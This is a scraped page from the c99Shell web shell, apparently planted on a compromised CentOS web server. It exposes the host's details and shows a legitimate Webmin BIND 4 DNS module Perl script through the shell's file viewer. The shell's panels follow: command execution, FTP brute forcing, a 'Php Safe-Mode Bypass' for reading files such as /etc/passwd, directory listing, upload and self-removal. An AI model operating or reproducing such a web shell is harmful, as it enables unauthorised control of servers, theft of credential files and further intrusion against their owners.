!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/dnsadmin/   drwxr-xr-x
Free 50.93 GB of 127.8 GB (39.85%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     index.cgi (6.7 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
#!/usr/bin/perl

require './dns-lib.pl';

&header("BIND 4 DNS Server", "", undef, 1, 1);
print &ui_hr();
%access = &get_module_acl();

# Check if named exists
if (!-x $config{'named_pathname'}) {
    print "<p>The BIND 4 DNS server <i>$config{'named_pathname'}</i>\n";
    print "could not be found on your system. Maybe it is not installed,\n";
    print "or your <a href=\"$gconfig{'webprefix'}/config.cgi?$module_name\">BIND 4 module\n";
    print "configuration</a> is incorrect. <p>\n";
    print &ui_hr();
    &footer("/", "index");
    exit;
    }

# Check for future versions of BIND with the -v option
$out = `$config{'named_pathname'} -v 2>&1`;
if (0 && ($out =~ /bind\s+(\d+)\./i || $out =~ /named\s+(\d+)\./) && $1 >= 8) {
    print "<p>The server <i>$config{'named_pathname'}</i> appears to\n";
    print "be BIND 8. Maybe your should use the\n";
    print "<a href=/bind8/>BIND 8 server module</a> instead. <p>\n";
    print &ui_hr();
    &footer("/", "index");
    exit;
    }

# Check if BIND is the right version.. Only BIND 8 offers the -f option
# Is there a better way to do this?
$out = `$config{'named_pathname'} -help 2>&1`;
if (0 && $out =~ /\[-f\]/) {
    print "<p>The server <i>$config{'named_pathname'}</i> appears to\n";
    print "be BIND 8. Maybe your should use the\n";
    print "<a href=/bind8/>BIND 8 server module</a> instead. <p>\n";
    print &ui_hr();
    &footer("/", "index");
    exit;
    }

# If the named.boot file is empty or does not exist, offer to create it
if (!-r $config{named_boot_file}) { $need_create++; }
else {
    $conf = &get_config();
    if (!@$conf) { $need_create++; }
    }

if ($need_create) {
    # There is no nameserver boot file.. offer to create
    print "<p>The primary configuration file\n";
    print "<i>$config{named_boot_file}</i> does not exist,\n";
    print "or is empty. Create it?<p>\n";
    print "<form action=\"dns_boot.cgi\">\n";
    print "<input type=radio name=real value=0> Setup nameserver for ",
          "internal non-internet use only<p>\n";
    print "<input type=radio name=real value=1 checked> Setup as an ",
          "internet name server, and download root server information<p>\n";
    print "<input type=radio name=real value=2> Setup as an internet name ",
          "server, but use Webmin's older root server information<p>\n";
    print "<center><input type=submit value=\"Create Primary Configuration File and Start Nameserver\"></center>\n";
    print "</form>\n";
    print &ui_hr();
    &footer("/", "index");
    exit;
    }

@zlist = (&find_config("primary", $conf), &find_config("secondary", $conf));
if (!@zlist) {
    # Nothing in named file..
    print "<b>There are no DNS zones defined for this name server</b><p>\n";
    }
else {
    print &ui_subheading("Existing DNS Zones");
    foreach $z (@zlist) {
        next if (!&can_edit_zone(\%access, $z->{'values'}->[0]));
        if ($z->{'name'} eq "primary") {
            push(@zlinks, "edit_master.cgi?index=$z->{'index'}");
            push(@ztitles, &arpa_to_ip($z->{'values'}->[0]));
            push(@zicons, "../bind8/images/master.gif");
            push(@ztypes, "Master");
            }
        else {
            push(@zlinks, "edit_slave.cgi?index=$z->{'index'}");
            push(@ztitles, &arpa_to_ip($z->{'values'}->[0]));
            push(@zicons, "../bind8/images/slave.gif");
            push(@ztypes, "Slave");
            }
        $len++;
        }

    # sort list of zones
    @zorder = sort { $ztitles[$a] cmp $ztitles[$b] } (0 .. $len-1);
    @zlinks = map { $zlinks[$_] } @zorder;
    @ztitles = map { $ztitles[$_] } @zorder;
    @zicons = map { $zicons[$_] } @zorder;
    @ztypes = map { $ztypes[$_] } @zorder;

    if ($config{'show_list'}) {
        # display as list
        $mid = int((@zlinks+1)/2);
        print "<table width=100%><tr><td width=50% valign=top>\n";
        &zones_table([ @zlinks[0 .. $mid-1] ],
                 [ @ztitles[0 .. $mid-1] ],
                 [ @ztypes[0 .. $mid-1] ]);
        print "</td><td width=50% valign=top>\n";
        if ($mid < @zlinks) {
            &zones_table([ @zlinks[$mid .. $#zlinks] ],
                     [ @ztitles[$mid .. $#ztitles] ],
                     [ @ztypes[$mid .. $#ztypes] ]);
            }
        print "</td></tr></table>\n";
        }
    else {
        # display as icons
        &icons_table(\@zlinks, \@ztitles, \@zicons);
        }
    }
if ($access{'master'}) {
    print "<a href=\"master_form.cgi\">Create a new ",
          "master zone</a>&nbsp;&nbsp;\n";
    }
if ($access{'slave'}) {
    print "<a href=\"slave_form.cgi\">Create a new ",
          "slave zone</a>&nbsp;&nbsp;\n";
    }
print "<p>\n";

if ($access{'defaults'}) {
    # Display form to set the defaults for new zones
    &get_zone_defaults(\%zd);
    print &ui_hr();
    print &ui_subheading("New Master Zone Defaults");
    print "<form action=save_zonedef.cgi>\n";
    print "<table border>\n";
    print "<tr $tb> <td><b>Defaults for new master zones</b></td> </tr>\n";
    print "<tr $cb> <td><table cellpadding=5>\n";

    print "<tr> <td><b>Refresh time</b></td>\n";
    print "<td><input name=refresh size=10 value=$zd{'refresh'}> seconds</td>\n";
    print "<td><b>Transfer retry time</b></td>\n";
    print "<td><input name=retry size=10 value=$zd{'retry'}> seconds</td></tr>\n";

    print "<tr> <td><b>Expiry time</b></td>\n";
    print "<td><input name=expiry size=10 value=$zd{'expiry'}> seconds</td>\n";
    print "<td><b>Default time-to-live</b></td>\n";
    print "<td><input name=minimum size=10 value=$zd{'minimum'}> seconds</td>\n";
    print "</tr> </table></td></tr></table><br>\n";
    print "<input type=submit value=Update></form>\n";
    }

# Display a form to start or restart named
print &ui_hr();
if ($config{'named_pid_file'}) {
    if (open(PID, $config{'named_pid_file'})) {
        <PID> =~ /(\d+)/;
        $pid = $1;
        close(PID);
        }
    }
else {
    &foreign_require("proc", "proc-lib.pl");
    foreach $p (&proc::list_processes()) {
        if ($p->{'args'} =~ /^\Q$config{'named_pathname'}\E/) {
            $pid = $p->{'pid'};
            last;
            }
        }
    }
if ($pid && kill(0, $pid)) {
        # named is running
        print "<form action=restart.cgi>\n";
        print "<input type=hidden name=pid value=$pid>\n";
        print "<table width=100%><tr><td>\n";
        print "<input type=submit value=\"Apply Changes\"></td>\n";
        print "<td>Click this button to restart the running BIND 4 server.\n";
        print "This will cause the current configuration to become\n";
        print "active</td> </tr></table>\n";
        print "</form>\n";
        }
else {
        # named is not running
        print "<form action=start.cgi>\n";
        print "<table width=100%><tr><td>\n";
        print "<input type=submit value=\"Start Name Server\"></td>\n";
        print "<td>Click this button to start the BIND 4 server, and load\n";
        print "the current configuration</td> </tr></table>\n";
        print "</form>\n";
        }

print &ui_hr();
&footer("/", "index");

sub zones_table
{
local($i);
print "<table border width=100%>\n";
print "<tr $tb> <td><b>Zone</b></td> <td><b>Type</b></td> </tr>\n";
for($i=0; $i<@{$_[0]}; $i++) {
    print "<tr $cb>\n";
    print "<td><a href=\"$_[0]->[$i]\">$_[1]->[$i]</a></td>\n";
    print "<td>$_[2]->[$i]</td>\n";
    print "</tr>\n";
    }
print "</table>\n";
}


:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]--